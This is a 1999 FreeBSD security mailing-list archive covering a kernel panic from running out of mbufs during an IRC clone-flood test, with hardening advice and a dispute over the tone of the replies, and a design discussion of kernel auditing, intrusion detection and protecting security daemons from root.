5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I think that's why so many people does not uses FreeBSD. A question about it causes so many laughes? So, how can a newbie encouraje himself to use FreeBSD? And the answer is simple, if you don't know, do not use. It's wonderful. I'll continue using FreeBSD, of course, i know how good it is. But i didn't use to understand why so many people from the Linux community says that nobody helps FreeBSD users. Of course i'm not talking about everyone. There are users (and core programmers), that are open to help. But with an answer like this, we have to options. De-install FreeBSD when i can't use something or simply do not try to use that. If you all thinks that this kind of crash is good, because it was genereated by a clone flood, OK, so many people will continue using another operating system or having many crashes because they want to run a IRC Server. As I said, not everyone is like this, but you that thinks this kind of questions as idiots, could simply do not answer and delete it from your mail client. No more, Joao Carlos jcarlos@bahianet.com.br ----- Original Message ----- From: Dag-Erling Smorgrav To: Joao Carlos Cc: ; ; ; Sent: Monday, September 20, 1999 12:23 PM Subject: Re: Out of mbuf clusters > "Joao Carlos" writes: > > I'm running FreeBSD 3.3-STABLE, and compiled a kernel with 64 maxusers. It > > gives me somethink like 1048 processes. I don't know if it's a bug, or > > whatever, but i got crazy when i tested a program called CLONE on a IRC > > Server running i this machine. > > Before arriving 1024 connections on te IRCD, (NOTE: nothing more like httpd, > > squid, etc were running), The machine crashed, with the following message: > > I'll bet your CLONE thingy wasn't properly written, and doesn't > actually consume the data sent by the server, causing the server to > fill up mbufs. Currently, FreeBSD panics when it runs out of mbufs. > > 1) use ircd connection classes to prevent clients from opening more > than a small number of connections, and to limit the size of the > send queue. If you don't know what that means, don't run an IRC > server. > > 2) increase the number of mbuf clusters. If you don't know how to do > this, don't run an IRC server. > > 3) set up a heavy firewall in front of your server (preferably on > your border router) which protects your server from SYN floods, > UDP floods, smurfing fingerprinting, etc. If you don't know how to > do this, don't run an IRC server. > > 4) harden your TCP/IP stack to withstand SYN floods, UDP floods, > smurfing, fingerprinting, etc. Run a recent 4.0, or 3.3-R with my > hardening patches, and understand what those patches do and how to > use them. If you don't know how to do this, don't run an IRC > server. > > 5) lock your machine down tight, including disabling all services > except ircd and ssh and configuring sshd to only accept > connections from trusted hosts and require RSA authentication (no > rhosts, no password authentication). If you don't know how to do > this, don't run an IRC server. > > 6) if you need a flooder, try my joiner.pl. Read the source and > understand how it works and how to tune it before using it. Know > that it can (and will) crash your server if you didn't do 1) and > 2) properly. If you don't know how to do this, don't run an IRC > server. > > DES > -- > Dag-Erling Smorgrav - des@flood.ping.uio.no > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 9:36:17 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 619C614C07 for ; Mon, 20 Sep 1999 09:36:15 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id KAA27186; Mon, 20 Sep 1999 10:36:10 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id KAA01106; Mon, 20 Sep 1999 10:36:09 -0600 Date: Mon, 20 Sep 1999 10:36:09 -0600 Message-Id: <199909201636.KAA01106@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Rodney W. Grimes" Cc: jobe@attrition.org (Jobe), security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909200629.XAA57821@gndrsh.dnsmgr.net> References: <199909200629.XAA57821@gndrsh.dnsmgr.net> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Myself, I like the idea of how bpf handles the filtering side. Compile > up an expression and shove it into the kernel so you minimize copy out > operations. FWIW, I agree completely, and actually looked a bit into this. However, figuring out how to do that in the as-yet mostly unspecified audit records is time-consuming. Let's get it working first, then see what falls out, including a potential re-write of the entire auditing record so that 'apf' can be implemented. :) (As a point of reference, Solaris 'claims' to have kernel level filtering, but it turns out that it just sets a 'flag' in the audit record that tells the userland program whether or not the user asked for this record, so the filtering is done at userland. *blah*) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 9:52:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 44A7014E50 for ; Mon, 20 Sep 1999 09:52:31 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id KAA27327; Mon, 20 Sep 1999 10:52:23 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id KAA01218; Mon, 20 Sep 1999 10:52:22 -0600 Date: Mon, 20 Sep 1999 10:52:22 -0600 Message-Id: <199909201652.KAA01218@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Jobe Cc: "Rodney W. Grimes" , security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: References: <199909200629.XAA57821@gndrsh.dnsmgr.net> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ Mondo snipper ] > Basically what I was trying to get at is that we really need to know what > 'events' (in kernel happenings) that we want to be aware of. Otherwise we > will end up developing a method for generating alarms for kernel events > when there are no given events to generate alarms for. Ahh, but there's no easy (extensible, effecient) way of setting policy in the kernel that doesn't have significant side-effects. > Do you see what > I'm trying to get at here? Or is our primary goal to just create the > auditing system and let the user define the events for which alarms are > generated? That's my goal. If we 'audit' everything, then we can re-use the same information over and over in different contexts to do 'intrusion detection'. Case in point: A remote user logs in (not a bad event). Same user becomes root via su (not necessary a bad event). User edits /etc/passwd, and a bunch of files in /var/log/* (probably a bad sign :) Note, if we assumed that any write/read from /var/log is bad, then we'd generate a number of false alarms. Also, syslog writes to /var/log, and newsyslog rotates the files, so it's a normal occurance to see reads/writes to the file. A user-land process could also take advantage of the fact that we *may* instrument syslogd and newsyslog to generate a record stating that they are modifying a system file, thus making it that much harder to 'spoof' the fingerprint. As with all security measure, anything that can be done can be undone, but the harder you make it, the more likely the attacker will miss a step and setoff the 'detector'. Our job (as intrusion/security experts) is to minimize the number of 'detector' hits to *real* breakins, and to maximize the percentage that we recognize *real* breakins. The best products in the field today do about a 15% hit-rate of *real* breakins that happen on *real* networks, simply because they are using signature models that are based on old breakins, and only stupid people use old information to break into systems. These 'best' products also have a false hit rate of 100 false hits/day or worse, which makes it nearly impossible to differentiate between a 'real' breakin and a 'false' breakin without spending way too many resources evaluating each and every 'hit'. However, that's a side issue, in that once someone (you?) finds a good way to recognize breakins w/out relying on a using a 'signature analysis of existing known breakins' (using statistical analysis I would suspect, and you can analyze all sorts of behavior this way, including network traffic, user patters, etc....) then they can *still* use the same information gathered in /dev/audit to correctly recognize breakins. (This is assuming we've correctly/completely audited the system to give you the necessary information for you to make the decision.) Anyway, I'm digressing badly, so I'll shutup now. :) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 10: 0:17 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 6B50615BC9 for ; Mon, 20 Sep 1999 10:00:05 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id KAA30431; Mon, 20 Sep 1999 10:03:42 -0600 Date: Mon, 20 Sep 1999 10:03:42 -0600 (MDT) From: Jobe To: Robert Watson Cc: ark@eltex.ru, freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Robert Watson wrote: > One thing I am particularly interested in seeing brought to fruition is a > way to protect key system security processes from interference--from any > other user process, even one running as root. This might be similar to > the jail code--the world being in a jail and only processes such as auditd > (possibly init?) outside of it. Why not seperate processes that are being sent to the scheduler into two categories, privelleged and unprivellged. Privelleged processes run in a completely different execution environment in which we completely disable process signaling(this would be a first step to thwarting daemon interruption if not anything else). The only real flaw I see with this is that we would need to find a replacement for kill -HUP which shouldn't prove to be too difficult. By different execution environment I mean that we have two seperate process tables. This way our auditd is not showing up in ps, /proc or any of the other conventional process accounting systems in userland. Also this will allow us to set up different 'guidlines' as far as how we want this process to be executed. We can use sockets to provide communication between userland -> auditd -> kernel device -> userland. Also something I was wondering, is there anything that prevents root from unlinking device inodes and relinking them to bogus ones? If so, we are going to need to prevent that from affecting our /dev/audit device. > Processes would be unable to attach debuggers to protected processes > while securelevel was set above a certain value, and limited in their > ability to signal the processes, etc. This would allow us to offload > computationally expensive audit-related code (statistical IDS, crypto, etc) > from the kernel into a user process, but also protect the user process in > the event of a root compromise, complementing the securelevel behavior. I'll do you one better, this is all possible by limiting ktrace/ptrace access inside the kernel. As far as securelevel goes, bah humbug. Why not just make it init runlevel dependant and only traceable when we are in single user mode(runlevel < 3 I think?) I believe this would be a much better idea seemings how you never know how a wiley hacker might muck with our securelevel, where as we are almost assured that if we are at runlevel 1 or 2 that we are in single user mode, which means most likely no network access anyways. We really need to start a capabilities thread as this is roaming closer and closer into that territory. And all you lamers that are holding off on this discussion jump right in the water is nice and warm! I'm sure we all like hearing new a different approaches to these concepts, it really isn't as difficult as it may seem. Your $0.02 is worth just as much as our $0.02 ;). --Jobe > In the access control email I sent earlier, tokend would be another > process worthy of such protection :-). Leveraging the jail code to do > this might help keep to a minimum all of the forms of process sandboxing > we have. Don't know if this is a topic that interests you, but it would > certainly be worthy of some hacking :-). > > Robert To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 10: 5:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 337AA15087 for ; Mon, 20 Sep 1999 10:05:06 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id LAA27456; Mon, 20 Sep 1999 11:05:02 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id LAA01318; Mon, 20 Sep 1999 11:05:01 -0600 Date: Mon, 20 Sep 1999 11:05:01 -0600 Message-Id: <199909201705.LAA01318@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: ark@eltex.ru Cc: freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909201424.SAA01652@paranoid.eltex.spb.ru> References: <199909201416.HAA58893@gndrsh.dnsmgr.net> <199909201424.SAA01652@paranoid.eltex.spb.ru> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > > > 1) audit - one way communication system that lets kernel and possibly > > > some user processes to inform an audit daemon or whatever that something > > > important happened > > > > By definision a secure audit trail can only be generated by a secure > > code base, that pretty much precludes any user processes from being > > a source of data at this time. > > What about "2-in-one" interface that could be accessed from kernel and > from userspace but provides functions that will let audit daemon to > know the difference? That can make things more flexible. This is Robert's goal as well, but secondary to my goals. But if/when it happens, I will argue for a completely different queue for userland events, and not allow the userland events get close to the kernel events. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 10: 8:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id DA52E1531C for ; Mon, 20 Sep 1999 10:08:16 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id LAA27492; Mon, 20 Sep 1999 11:08:11 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id LAA01364; Mon, 20 Sep 1999 11:08:11 -0600 Date: Mon, 20 Sep 1999 11:08:11 -0600 Message-Id: <199909201708.LAA01364@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Rodney W. Grimes" Cc: robert+freebsd@cyrus.watson.org (Robert Watson), security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909201541.IAA59140@gndrsh.dnsmgr.net> References: <199909201541.IAA59140@gndrsh.dnsmgr.net> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I'd advise against developing any more codebases for auditing--we already > > have two :-). I have a /dev/audit, submission of records from a number of > > syscalls, an auditd + IDS interface, and some log management code. Nate's > > folk are working on a better kernel interface and implementation, as was > > discussed on freebsd-security in July (please see archive for details). > > My userland library currently supports most of the posix.1e audit > > interface spec, and I have a set of posix.1e extensions for IDS modules. > > My hope is to adapt my auditd to speak Nate's kernel improvements, but > > continue to provide a standard interface and useful tools/etc. > > URL to source code please... and I already pointed out that we need > to at least look at what is out there. Robert's code exists, but we both agree it was not the most effecient way of doing things. My code is not yet available for reasons already stated publically. If/when it's to the point that it actually does something significant, then maybe I'll put up a snapshot for public consumption, but no earlier. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 10:17:58 1999 Delivered-To: freebsd-security@freebsd.org Received: from out0.mx.skynet.be (out0.mx.skynet.be [195.238.2.35]) by hub.freebsd.org (Postfix) with ESMTP id 185731501C; Mon, 20 Sep 1999 10:17:48 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [195.238.1.121] (brad.techos.skynet.be [195.238.1.121]) by out0.mx.skynet.be (8.9.3/odie-relay-v1.0) with ESMTP id TAA14585; Mon, 20 Sep 1999 19:16:55 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@foxbert.skynet.be Message-Id: In-Reply-To: <199909201247.OAA08309@labinfo.iet.unipi.it> References: <199909201247.OAA08309@labinfo.iet.unipi.it> Date: Mon, 20 Sep 1999 19:16:00 +0200 To: Luigi Rizzo , des@flood.ping.uio.no (Dag-Erling Smorgrav) From: Brad Knowles Subject: Re: Out of mbuf clusters Cc: jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 2:47 PM +0200 1999/9/20, Luigi Rizzo wrote: > Reading the list it seems to me that you have forgotten rule #7: [ ... deletia ... ] > 7) Don't run an IRC server. And rule #8: 8) Grok every single line of source code throughout the entire OS and be able to recode them all in machine language (assembly is for wussies), or you are too stupid to run FreeBSD. -- These are my opinions -- not to be taken as official Skynet policy ____________________________________________________________________ |o| Brad Knowles, Belgacom Skynet NV/SA |o| |o| Systems Architect, News & FTP Admin Rue Col. Bourg, 124 |o| |o| Phone/Fax: +32-2-706.11.11/12.49 B-1140 Brussels |o| |o| http://www.skynet.be Belgium |o| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Unix is like a wigwam -- no Gates, no Windows, and an Apache inside. Unix is very user-friendly. It's just picky who its friends are. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 10:22:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 6075F15393 for ; Mon, 20 Sep 1999 10:22:50 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA42842; Mon, 20 Sep 1999 13:22:36 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Sep 1999 13:22:36 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Jobe Cc: ark@eltex.ru, freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Jobe wrote: > Why not seperate processes that are being sent to the scheduler into two > categories, privelleged and unprivellged. Privelleged processes run in a > completely different execution environment in which we completely disable > process signaling(this would be a first step to thwarting daemon > interruption if not anything else). The only real flaw I see with this is > that we would need to find a replacement for kill -HUP which shouldn't > prove to be too difficult. By different execution environment I mean that > we have two seperate process tables. This way our auditd is not showing > up in ps, /proc or any of the other conventional process accounting > systems in userland. Also this will allow us to set up different > 'guidlines' as far as how we want this process to be executed. We can use > sockets to provide communication between userland -> auditd -> kernel > device -> userland. Also something I was wondering, is there anything > that prevents root from unlinking device inodes and relinking them to > bogus ones? If so, we are going to need to prevent that from affecting > our /dev/audit device. I'm a little concerned that seperating the privileged processes from the existing process architecture limits the usefulness of those processes, as well as significantly complicating process management in the kernel--however, the point is well taken, especially with regards to denying scheduling time to the privileged processes--some of these are general denial of service issues. Another concern I've had is with regards to keying material in IPSEC oriented applications--e.g., isakmpd and so on. I'd be tempted to try and retain the existing scheduler architecture and process table, but provide an alternative signal handler (and if necessary syscall handler) for the protected processes, allowing them to mask incoming signals that normal processes could not mask (kill, and so on), as your describe, block all tracing mechanisms. Protecting against file modification/etc could be provided by the securelevel/chflags behavior (noschg and so on). Protecting against disk space denial of service is probably best done by flat allocating the log file as a certain size (500mb, say) and then having auditd iterate through the log file. And as it opened the file before the securelevel went up, it is allowed to write to it (or the like). > > Processes would be unable to attach debuggers to protected processes > > while securelevel was set above a certain value, and limited in their > > ability to signal the processes, etc. This would allow us to offload > > computationally expensive audit-related code (statistical IDS, crypto, etc) > > from the kernel into a user process, but also protect the user process in > > the event of a root compromise, complementing the securelevel behavior. > > I'll do you one better, this is all possible by limiting ktrace/ptrace > access inside the kernel. As far as securelevel goes, bah humbug. Why > not just make it init runlevel dependant and only traceable when we are in > single user mode(runlevel < 3 I think?) I believe this would be a much > better idea seemings how you never know how a wiley hacker might muck with > our securelevel, where as we are almost assured that if we are at runlevel > 1 or 2 that we are in single user mode, which means most likely no network > access anyways. We really need to start a capabilities thread as this is ..I just started one on Access Control :).. > roaming closer and closer into that territory. And all you lamers that > are holding off on this discussion jump right in the water is nice and > warm! I'm sure we all like hearing new a different approaches to these > concepts, it really isn't as difficult as it may seem. Your $0.02 is > worth just as much as our $0.02 ;). Securelevel does provide us with some string primitives though--protecting against direct memory access, against direct device manipulation, and the ability to prohibit the modification of certain file system objects (kernels, for example :-). Also, we want something more general than init--how to specify which processes are protected? Perhaps a syscall saying "protectme()" that may only be executed prior to securelevel raising--this prevents hackers from creating processes that are impervious to other processes, but allows us to leverage it for security-related processes. Securelevel also provides us with a model of non-repudiation to some extent--the securelevel may not be lowered, only raised. > > --Jobe > > > In the access control email I sent earlier, tokend would be another > > process worthy of such protection :-). Leveraging the jail code to do > > this might help keep to a minimum all of the forms of process sandboxing > > we have. Don't know if this is a topic that interests you, but it would > > certainly be worthy of some hacking :-). > > > > Robert > > Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 10:30: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 7179215119; Mon, 20 Sep 1999 10:29:57 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id TAA71920; Mon, 20 Sep 1999 19:29:41 +0200 (CEST) (envelope-from des) To: "Joao Carlos" Cc: "Dag-Erling Smorgrav" , , , , Subject: Re: Out of mbuf clusters References: <000501bf030a$ac70e7a0$fa58dfc8@bahianet.com.br> <006301bf0384$0c30e2c0$0400a8c0@bahianet.com.br> From: Dag-Erling Smorgrav Date: 20 Sep 1999 19:29:40 +0200 In-Reply-To: "Joao Carlos"'s message of "Mon, 20 Sep 1999 13:20:25 -0300" Message-ID: Lines: 15 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Joao Carlos" writes: > If you all thinks that this kind of crash is good, because it was > genereated by a clone flood, OK, so many people will continue using another > operating system or having many crashes because they want to run a IRC > Server. As I said, not everyone is like this, but you that thinks this kind > of questions as idiots, could simply do not answer and delete it from your > mail client. Perhaps you should reconsider your attitude and accept advice from someone who actually has experience running EFNet IRC servers on FreeBSD. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 11: 6: 8 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id D28D315ACE for ; Mon, 20 Sep 1999 11:06:03 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA59995; Mon, 20 Sep 1999 11:05:40 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201805.LAA59995@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: <199909201600.QAA31235@loki.ideaglobal.com> from Kiril Mitev at "Sep 20, 1999 04:00:15 pm" To: kiril@ideaglobal.com (Kiril Mitev) Date: Mon, 20 Sep 1999 11:05:40 -0700 (PDT) Cc: ark@eltex.ru, security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > Ouch. > > > > > > do you REALLY suggest things along the lines > > > > > > set proc/priv=(... , .... , .... ) > > > > Yes, at least the functionality, we don't have to use the VMS DCL > > interface to it. set proc/priv= just flips bits in the process > > header area. > > IIRC, it 'flips bits' in a dedicated VAXCPU register. You surely don't really know how it works if you think that. It sets bits in the process header area, or PCB. It does not directly set bits in any dedicated CPU register. Some process priviledges do effect what bits in the CPU you can fool with, like CMKRN allows your user land code to execute as if it was running in kernel mode. Basically your user code tries to do a Change Mode to Kernel instruction, VMS traps that, looks at your PCB, goes, ohh, okay he is allowed to do that, sets the bits in the register for you faking the instruction and returning to your code. > > > You have a better idea?? > > NO, so I will voluntarily shut up . :-). No need to do that, just find me a better idea!! I am open to anything, need more input.. need more input... need more COFFEE!!! -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 11:48:54 1999 Delivered-To: freebsd-security@freebsd.org Received: from luna.lyris.net (luna.shelby.com [207.90.155.6]) by hub.freebsd.org (Postfix) with ESMTP id 45D9615BE3; Mon, 20 Sep 1999 11:48:37 -0700 (PDT) (envelope-from kip@lyris.com) Received: from luna.shelby.com by luna.lyris.net (8.9.1b+Sun/SMI-SVR4) id LAA03105; Mon, 20 Sep 1999 11:47:55 -0700 (PDT) Received: from (luna.shelby.com [207.90.155.6]) by luna.shelby.com with SMTP (MailShield v1.50); Mon, 20 Sep 1999 11:47:55 -0700 Date: Mon, 20 Sep 1999 11:47:54 -0700 (PDT) From: Kip Macy X-Sender: kip@luna To: Dag-Erling Smorgrav Cc: Joao Carlos , stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-SMTP-HELO: luna X-SMTP-MAIL-FROM: kip@lyris.com X-SMTP-RCPT-TO: des@flood.ping.uio.no,jcarlos@bahianet.com.br,stable@FreeBSD.ORG,questions@FreeBSD.ORG,security@FreeBSD.ORG,hitech@bahianet.com.br X-SMTP-PEER-INFO: luna.shelby.com [207.90.155.6] Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Here is where your philosophy diverges from many others -- I and I believe many others think that a server operating system should at least be robust out of the box. Neither Linux nor Solaris is vulnerable to running out of mbufs as a result of malicious code. I don't think FreeBSD should be either. This is in no way a rant against FreeBSD, but rather a rant against the attitude that one needs to know about OS internals to run a lightweight server. If all of core insisted that Joe User had to know about internals to use FreeBSD as a server, FreeBSD would be little more than a hobbyist OS, rather than what it is -- the best OS currently available. -Kip On 20 Sep 1999, Dag-Erling Smorgrav wrote: > "Joao Carlos" writes: > > I'm running FreeBSD 3.3-STABLE, and compiled a kernel with 64 maxusers. It > > gives me somethink like 1048 processes. I don't know if it's a bug, or > > whatever, but i got crazy when i tested a program called CLONE on a IRC > > Server running i this machine. > > Before arriving 1024 connections on te IRCD, (NOTE: nothing more like httpd, > > squid, etc were running), The machine crashed, with the following message: > > I'll bet your CLONE thingy wasn't properly written, and doesn't > actually consume the data sent by the server, causing the server to > fill up mbufs. Currently, FreeBSD panics when it runs out of mbufs. > > 1) use ircd connection classes to prevent clients from opening more > than a small number of connections, and to limit the size of the > send queue. If you don't know what that means, don't run an IRC > server. > > 2) increase the number of mbuf clusters. If you don't know how to do > this, don't run an IRC server. > > 3) set up a heavy firewall in front of your server (preferably on > your border router) which protects your server from SYN floods, > UDP floods, smurfing fingerprinting, etc. If you don't know how to > do this, don't run an IRC server. > > 4) harden your TCP/IP stack to withstand SYN floods, UDP floods, > smurfing, fingerprinting, etc. Run a recent 4.0, or 3.3-R with my > hardening patches, and understand what those patches do and how to > use them. If you don't know how to do this, don't run an IRC > server. > > 5) lock your machine down tight, including disabling all services > except ircd and ssh and configuring sshd to only accept > connections from trusted hosts and require RSA authentication (no > rhosts, no password authentication). If you don't know how to do > this, don't run an IRC server. > > 6) if you need a flooder, try my joiner.pl. Read the source and > understand how it works and how to tune it before using it. Know > that it can (and will) crash your server if you didn't do 1) and > 2) properly. If you don't know how to do this, don't run an IRC > server. > > DES > -- > Dag-Erling Smorgrav - des@flood.ping.uio.no > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 12: 1: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 631CC15377 for ; Mon, 20 Sep 1999 12:01:01 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA60130; Mon, 20 Sep 1999 11:59:32 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201859.LAA60130@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: <199909201708.LAA01364@mt.sri.com> from Nate Williams at "Sep 20, 1999 11:08:11 am" To: nate@mt.sri.com (Nate Williams) Date: Mon, 20 Sep 1999 11:59:32 -0700 (PDT) Cc: robert+freebsd@cyrus.watson.org (Robert Watson), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > I'd advise against developing any more codebases for auditing--we already > > > have two :-). I have a /dev/audit, submission of records from a number of > > > syscalls, an auditd + IDS interface, and some log management code. Nate's > > > folk are working on a better kernel interface and 